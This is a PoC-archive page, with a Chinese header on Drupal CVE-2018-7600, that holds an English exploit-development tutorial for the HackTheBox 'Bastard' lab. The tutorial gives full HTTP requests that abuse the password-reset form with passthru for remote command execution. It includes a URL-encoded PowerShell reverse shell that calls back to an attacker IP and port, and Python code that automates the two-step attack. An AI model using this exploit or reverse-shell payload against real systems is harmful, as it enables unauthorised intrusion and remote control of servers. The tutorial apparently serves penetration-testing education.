关联漏洞
标题:
Drupal 安全漏洞
(CVE-2018-7600)
描述:Drupal是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal中带有默认或通用模块配置的多个子系统存在安全漏洞。远程攻击者可利用该漏洞执行任意代码。以下版本受到影响:Drupal 7.58之前版本,8.3.9之前的8.x版本,8.4.6之前的8.4.x版本,8.5.1之前的8.5.x版本。
介绍
# ExploitDev Journey #2 | CVE-2018-7600 | Drupal 7.x Module Services - Remote CommandCode Execution
Original exploit: https://www.exploit-db.com/exploits/41564 <br>
**Exploit name:** Drupal 7.x Module Services - Remote Code Execution <br>
**CVE**: 2018-7600 <br>
**Lab**: Bastard - HackTheBox
### Description
There is a vulnerability in Drupal 7.x that allows us to create a malformed request that contains a system command and send it over to the target website. Later when we get a response, we also get a type of form id which we can later use to execute system commands.
### How it works
Finally, this is going to be the first time where I am going to show how to exploit a vulnerability manually using BurpSuite so you can get an idea of how things really work.
Here is the login panel of Drupal: <br>
<img src="https://i.ibb.co/3WTWfjV/bastard1.png">
To get started, simply insert a wrong username and password and send the request, capture the request using BurpSuite and you should see something like this: <br>
```
POST /node?destination=node HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
name=tester&pass=tester&form_build_id=form-0AxqNRlYdm206tq5uWde_4aoDyHHT82rH34KNOw-h_A&form_id=user_login_block&op=Log+in
```
This is just like a template for us so we can make changes, we need to make changes to `URI` path and `POST` data.
The exploit uses `passthru` which is a PHP function to execute system commands, you can use `system` or `shell_exec` if you want to.
There are two important `URI` parameters here:
* name[#post_render][]
* it's value is going to be `passthru`
* name[#markup]
* it's value is going to be the command you want to execute
And this is the `POST` data:
```
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
```
This is how it looks like when we render it on BurpSuite: <br>
<img src="https://i.ibb.co/g74fCny/bastard2.png">
Since I am not the author of this exploit, I don't really know how it was found but just by looking at the exploit code, I managed to do everything using BurpSuite. Now you understand that password reset functionality is being exploited here.
When we send this request, we get a `form_build_id` in response and then we use that form ID with another specially crafted `URI` with parameters & `POST` request to finally execute our command.
Think about this, you need to craft one `POST` request along with the command that you want to execute and then you need to make another `POST` request to execute that command and see it's results.
Switch back to pretty or raw mode in BurpSuite and search for `form_build_id`, it should look something like this:
```html
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
```
Now the fun begins, we use this form id's value to execute our command, your new `POST` request should look like this:
```
POST /?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
form_build_id=form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI
```
I changed the `URI` path to `/?q=file/ajax/name/#value/form-HCb7o8npwGVshII8fvokJUX22tsHm9xBIUcLXR9ZQWI`, notice that I have added the `form_build_id` there. <br>
Then I added `form_build_id` as `POST` data in my request body.
The response is as follows:
```
HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate
Content-Type: application/json; charset=utf-8
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.3.28
X-Content-Type-Options: nosniff
X-Drupal-Ajax-Token: 1
Set-Cookie: SESScee6fe9f609de4a8079e558b9edfe8b9=pvfNFPKU-mk3m6GoIT3Tk8QweAEUPMo1ehYMBM5vOPg; expires=Mon, 21-Feb-2022 04:51:14 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sat, 29 Jan 2022 01:17:54 GMT
Connection: close
Content-Length: 406
nt authority\iusr
[{"command":"settings","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"","settings":{"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik","theme_token":"WKDAE8hBknoHp1VpkPThGGk7NpV6nkILLGeb_Fl9LY0"}}}]
```
Our command was executed and it's result is: `nt authority\iusr`
In order to get a reverse shell, I am going to use a powershell reverse shell code:
```
POST /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient('10.10.16.19',+1338)%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()" HTTP/1.1
Host: 10.129.170.251
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 98
Origin: http://10.129.170.251
Connection: close
Referer: http://10.129.170.251/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
```
Send the request, get `form_build_id` in response and do what you did before to execute the command.
<br>
### Writing the exploit
That was really cool wasn't it? <br>
But it was kind of too much work, we should automate something like that right? That's what an exploit developer does.
In this exploit we use `BeautifulSoup` to grab `form_build_id`, to be honest I have seen this being used by another exploit developer and I liked their idea, I mean it can be done with regex as well but when we grab `form_build_id` with BeautifulSoup, it is far more readable and convenient to use.
We are also going to disable security warnings of `requests` module using the following code:
```py
requests.packages.urllib3.disable_warnings()
```
Our command looks like this:
```py
command = '''powershell -nop -c "$client = '''
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
command += '''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'''
```
You might ask, why did I split the command into three different lines and then concatenated them... <br>
The reason for doing so was to make it easy to interpolate `lhost` & `lport` with string formatting, take a closer look here:
```py
command += '''New-Object System.Net.Sockets.TCPClient('%s', %s);''' % (lhost, lport)
```
I am using string formatting to insert `lhost` & `lport` into the powershell command, you can try other types of concatenation but so far this method has worked for me.
You are already familiar with the parameters that we are going to send:
```py
params = {'q':'user/password', 'name[#post_render][]': 'passthru', 'name[#type]': 'markup', 'name[#markup]': command}
data = {'form_id': 'user_pass', '_triggering_element_name': 'name',
'_triggering_element_value': '', 'opz': 'E-mail new Password'}
```
The variable `params` sends `URI` parameters and `data` sends `POST` data; here is how it is going to be sent:
```py
req = requests.post(url=rhost, params=params, data=data, verify=False)
```
Here comes BeautifulSoup into the code, we use it to parse data as HTML, as an exercise you can try to do this with regex but it's highly advised not to do so:
```py
html = BeautifulSoup(req.text, "html.parser")
form_id = html.find('input', {'name': 'form_build_id'}).get('value')
```
Take a galance here:
```html
<input type="hidden" name="form_build_id" value="form-VDhJ2ThQiWT4jPxeYlTTto-8TmezqxceddLywNeSLX8" />
```
BeautifulSoup takes text response, parses it as HTML, then we use `html.find` to find an `input` with it's `name` attribute set to `form_build_id` and once found we grab it's value.
Finally there is an if-else condition to see if we found `form_build_id`:
```py
if form_id:
try:
params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}
print("[...] Executing payload, check your listener.")
req = requests.post(url=rhost, params=params, data=data, verify=False, timeout=20)
except Exception as e:
sys.exit(f"[ ! ] Exception occured: {e}")
else:
sys.exit("[ - ] Couldn't find form_build_id's value, exiting")
```
If a `form_build_id` was found then the following parameters and data would be sent:
```py
params = {'q': f'file/ajax/name/#value/{form_id}'}
data = {'form_build_id': form_id}
```
Remember that you might get a shell and a timeout error at the same time and that's not an issue.
The rest of the code is self explanatory and shouldn't be hard for any python programmer to understand.
<br>
### Final thoughts
In this exploit development session, you didn't just learn how to code but you also learned how things are done manually, this helps you a lot to build your own exploits or read someone else's exploit and understand how it can be done manually. <br>
You can replace BeautifulSoup with regex but it's not very advisable to do so, although there is only one `form_build_id` but professionally, it would be better if we use BeautifulSoup.
文件快照
[4.0K] /data/pocs/f6b2078fa59fee42fdfd27ffa2d3f581a24a88e9
├── [2.1K] exploit.py
└── [ 11K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。